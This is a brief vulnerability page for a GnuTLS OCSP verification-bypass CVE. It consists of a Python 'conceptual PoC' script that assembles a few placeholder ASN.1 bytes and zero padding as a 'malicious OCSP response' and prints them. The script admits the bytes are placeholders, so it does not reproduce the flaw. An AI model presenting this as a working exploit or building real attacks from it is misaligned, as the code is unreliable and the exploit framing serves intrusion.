CVE-2026-3832 GnuTLS OCSP验证绕过漏洞

#!/usr/bin/env python3 """ Conceptual PoC for CVE-2026-3832 This script demonstrates how an attacker might construct a malformed OCSP response to exploit the logic error in GnuTLS. Note: Actual exploitation requires a Man-in-the-Middle position. """ import socket import struct def build_malicious_ocsp_response(): """ Constructs a hypothetical multi-record OCSP response that triggers the parsing logic error in GnuTLS. """ # ASN.1 structure for OCSPResponse # This is a placeholder representation. Real exploitation would require # precise ASN.1 crafting to bypass specific checks. ocsp_header = b"\x30\x82" # SEQUENCE, length # Simulating a response where one record is revoked but logic ignores it payload = b"\x06\x09\x2b\x06\x01\x05\x05\x07\x30\x01\x01" # OID payload += b"\xA0\x82" # Explicit Tag [0] # Malformed multi-record data # In a real scenario, this would contain crafted SingleResponse elements malformed_data = b"\x00" * 10 return ocsp_header + struct.pack(">H", len(payload + malformed_data)) + payload + malformed_data def main(): print("[+] Generating malicious OCSP response payload...") payload = build_malicious_ocsp_response() print(f"[+] Payload length: {len(payload)} bytes") print("[+] Payload (hex):", payload.hex()) print("[!] In a real attack, this payload would be injected during the TLS handshake.") if __name__ == "__main__": main()